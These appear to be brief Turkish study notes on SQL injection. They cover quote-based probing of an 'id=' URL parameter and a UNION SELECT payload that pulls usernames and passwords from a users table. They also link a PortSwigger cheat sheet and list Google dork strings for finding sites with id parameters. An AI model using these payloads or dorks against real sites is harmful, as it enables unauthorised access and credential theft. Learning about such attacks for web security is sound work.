

örneklerle ilerleyeceğiz.

`id=Gift` adında bir url sonu var ise buna sadece ' tırnak atmak yerine " iki tane da at. Veya 'and '1'and'1 gibi

zaten `select y from x where p = 'a'` gibi örnekleri kafamızda alıştırdık.

eğer sql injection ile karşılaştırsak ve veriyi tek sütünde çekmemizi isterse columnları bulduktan daha sonra ;

`Union select null, CONCAT(username, ':::servet:::', password) From users`

gibi çekebiliriz...

Burada 2 column var ama başında null yazdık bunun sebebi concatenate ne aradığımı ne gibi değer aradığımızı söylüyoruz.

<https://portswigger.net/web-security/sql-injection/cheat-sheet>

# = %23

`nurl:index.php?id=`

`inurl:gallery.php?id=`

`inurl:post.php?id=`

`inurl:article?id=`